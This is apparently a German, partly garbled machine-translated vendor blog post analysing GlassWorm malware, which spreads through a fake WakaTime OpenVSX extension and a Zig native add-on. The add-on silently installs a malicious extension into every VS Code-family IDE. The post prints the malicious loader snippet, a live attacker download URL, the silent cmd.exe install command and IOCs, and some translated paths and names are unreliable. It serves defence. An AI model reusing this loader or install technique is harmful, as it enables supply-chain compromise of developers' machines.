GlassWorm wird nativ: Der neue Zig-Dropper befällt jede IDE auf Ihrem Rechner

Wir verfolgen GlassWorm seit über einem Jahr. Die Gruppe tauchte erstmals im März 2025 auf, als Aikido bösartige npm-Pakete Aikido , die Payloads in unsichtbaren Unicode-Zeichen versteckten. Seitdem hat sich die Kampagne immer weiter ausgebreitet und Hunderte von Projekten auf GitHub, npm und VS Code kompromittiert. Zuletzt wurde über eine gefälschte Chrome-Erweiterung eine persistente RAT eingeschleust, die Tastenanschläge protokollierte und Sitzungscookies ausgab. Die Gruppe entwickelt sich ständig weiter und hat gerade einen bedeutenden Sprung nach vorne gemacht.

Wir haben diese neue Technik in einer OpenVSX-Erweiterung namens „code-wakatime-activity-tracker“ beobachtet. Die Erweiterung gibt sich als WakaTime aus, das beliebte Tool zur Zeiterfassung für Entwickler, und enthält neben ihrem JavaScript-Code eine mit Zig kompilierte native Binärdatei. Es ist nicht das erste Mal, dass GlassWorm in Erweiterungen auf nativ kompilierten Code zurückgreift. Anstatt die Binärdatei jedoch direkt als Payload zu verwenden, dient sie als verdeckte Umleitung für den bekannten GlassWorm-Dropper, der nun heimlich alle anderen IDEs infiziert, die er auf Ihrem System finden kann.

Der Dropper: eine mit einem Trojaner infizierte Erweiterung

Die Erweiterung code-wakatime-Aktivitätstracker, veröffentlicht auf OpenVSX, sieht auf den ersten Blick fast genauso aus wie die echte WakaTime-Erweiterung: gleiche Befehlsregistrierungen, gleiche API-Schlüsselabfragen, gleiche Statusleisten-Symbole. Der Unterschied liegt an einer Stelle: der activate() Funktion.

const bw = process.platform === "win32" ? "./bin/win.node" : "./bin/mac.node";
const { install } = require(bw);
install();

Bevor die WakaTime-Logik ausgeführt wird, lädt die Erweiterung eine native Binärdatei aus dem ./bin/ Verzeichnis, das zusammen mit der Erweiterung bereitgestellt wird, und ruft sofort install(). Unter Windows lautet dies win.node, eine PE32+-DLL. Unter macOS ist es mac.node, ein universeller Mach-O-Port, der sowohl x86_64 als auch arm64 abdeckt. Es handelt sich hierbei um native Node.js-Add-ons: kompilierte Shared Libraries, die direkt in die Node-Laufzeitumgebung geladen werden und außerhalb der JavaScript-Sandbox mit vollem Zugriff auf Betriebssystemebene ausgeführt werden. Beide sind in Zig geschrieben. Die macOS-Binärdatei wurde mit intakten Debug-Symbolen kompiliert, wodurch ein Projektpfad sichtbar wird /Benutzer/davidioasd/Downloads/vsx_installer_zig.

Jede IDE auf dem Rechner infizieren

Sobald die Binärdatei geladen ist, besteht ihre erste Aufgabe darin, alle auf dem Rechner installierten IDEs zu finden, die das VS-Code-Erweiterungsformat unterstützen. Anschließend installiert sie stillschweigend eine schädliche Erweiterung in jeder gefundenen IDE.

Windows (ab win.node):

%LOCALAPPDATA%\Programme\Microsoft VS Code\bin\code.cmd
%LOCALAPPDATA%\Programme\Microsoft VS Code Insiders\bin\code-insiders.cmd
%LOCALAPPDATA%\Programme\cursor\resources\app\bin\cursor.cmd
%LOCALAPPDATA%\Programme\windsurf\resources\app\bin\windsurf.cmd
%LOCALAPPDATA%\Programme\VSCodium\resources\app\bin\codium.cmd
%LOCALAPPDATA%\Programme\Positron\resources\app\bin\positron.cmd
%ProgramFiles%\Microsoft VS Code\bin\code.cmd
%ProgramFiles%\Positron\resources\app\bin\positron.cmd

macOS (ab mac.node):

/Programme/Visual Studio Code.app/Contents/Resources/app/bin/code
/Programme/Visual Studio Code - Insiders.app/.../code-insiders
/Programme/Cursor.app/Contents/Resources/app/bin/cursor
/Programme/Windsurf.app/Inhalt/Ressourcen/app/bin/windsurf
/Programme/VSCodium.app/Inhalt/Ressourcen/app/bin/codium
/Programme/Positron.app/Inhalt/Ressourcen/app/bin/positron

Dieser Angriff betrifft nicht nur VS Code, sondern das gesamte Ökosystem der Editoren, die dasselbe Erweiterungssystem nutzen: VS Code, VS Code Insiders, Cursor, Windsurf, VSCodium und Positron. Ein Entwickler, der Cursor als Haupteditor verwendet, aber auch VS Code installiert hat, würde feststellen, dass beide kompromittiert sind.

​
Nachdem die IDE-Liste erstellt wurde, ruft die Binärdatei eine schädliche .vsix von einer GitHub-Releases-Seite, die vom Angreifer kontrolliert wird:

https://github.com/ColossusQuailPray/oiegjqde/releases/download/12/autoimport-2.7.9.vsix

Das Paket gibt sich als steoates.autoimport, eine seriöse und beliebte VS-Code-Erweiterung mit Millionen von Installationen. Die heruntergeladene .vsix wird in einen temporären Pfad geschrieben und anschließend stillschweigend in jede im vorherigen Schritt gefundene IDE installiert, wobei das jeweilige CLI-Installationsprogramm des Editors verwendet wird. Unter Windows läuft dies über cmd.exe:

cmd.exe /d /e:ON /v:OFF /c "<ide_path> --install-extension <vsix_path>"

Nach der Installation, cleanupVsix löscht die heruntergeladene Datei, um die Spuren zu beseitigen.

Die Erweiterung der zweiten Stufe

Die zwangsweise installierte .vsix-Datei ist derselbe GlassWorm-Dropper, den wir bereits seit längerem verfolgen und eingehend analysieren. Er richtet Geofences für russische Systeme ein, sendet Signale an einen auf der Solana-Blockchain basierenden C2-Server, und in unserer vorherigen Analyse haben wir festgestellt, dass er heimlich Daten abzieht und einen persistenten RAT installiert, einschließlich einer bösartigen Chrome-Erweiterung.

Wie Aikido dies Aikido

Wenn Sie installiert haben specstudio/Code-Wakatime-Aktivitäts-Tracker oder siehe floktokbok.autoimport Wenn dies in einer Ihrer IDE-Erweiterungslisten aufgeführt ist, betrachten Sie Ihren Rechner als kompromittiert und ändern Sie alle secrets möglicherweise zugegriffen wurde.

Wenn Sie Aikido , überprüfen Sie Ihren zentralen Feed und filtern Sie nach Malware-Problemen. Dies wird als kritisches Problem der Stufe 100/100 angezeigt. Aikido jede Nacht Aikido , wir empfehlen jedoch, jetzt einen manuellen Scan auszulösen.

Wenn Sie noch kein Aikido sind, können Sie ein Konto erstellen und Ihre Repositories verbinden. Unser Malware-Schutz ist im kostenlosen Tarif enthalten, eine Kreditkarte ist nicht erforderlich.

Für einen umfassenden Schutz Ihres gesamten Teams bietet Ihnen Aikido Endpoint Protection“ Transparenz und Kontrolle über die auf den Geräten Ihres Teams installierten Softwarepakete. Es deckt Browser-Erweiterungen, Code-Bibliotheken, IDE-Plugins und Build-Abhängigkeiten ab – alles an einem Ort. Stoppen Sie Malware, bevor sie installiert wird.

Denken Sie für zukünftige Sicherheit an Aikido Chain (Open Source). Safe Chain lässt sich in Ihren bestehenden Arbeitsablauf integrieren, fängt Befehle wie npm, npx, yarn, pnpm und pnpx ab und überprüft Pakete vor der Installation anhand von Aikido .

IOCs

Erweiterungen‍

• specstudio/Code-Wakatime-Aktivitäts-Tracker (mit einem Trojaner infizierte OpenVSX-Erweiterung)
• autoimport-2.7.9 (Einbindung in IDEs in der zweiten Phase)​

Dateien

• win.node im Verzeichnis „./bin/“ einer beliebigen VS Code-Erweiterung
  
  • SHA-256: 2819ea44e22b9c47049e86894e544f3fd0de1d8afc7b545314bd3bc718bf2e02
• mac.node im Verzeichnis „./bin/“ einer beliebigen VS Code-Erweiterung
  
  • SHA-256: 112d1b33dd9b0244525f51e59e6a79ac5ae452bf6e98c310e7b4fa7902e4db44

Netzwerk

• https://github[.]com/ColossusQuailPray/oiegjqde/releases/download/12/autoimport-2.7.9.vsix
  

Zeichenfolgen

• vsx_installer_zig (Zig-Projektname, gefunden in der macOS-Binärdatei)
• davidioasd (Benutzername in der macOS-Binärdatei gefunden)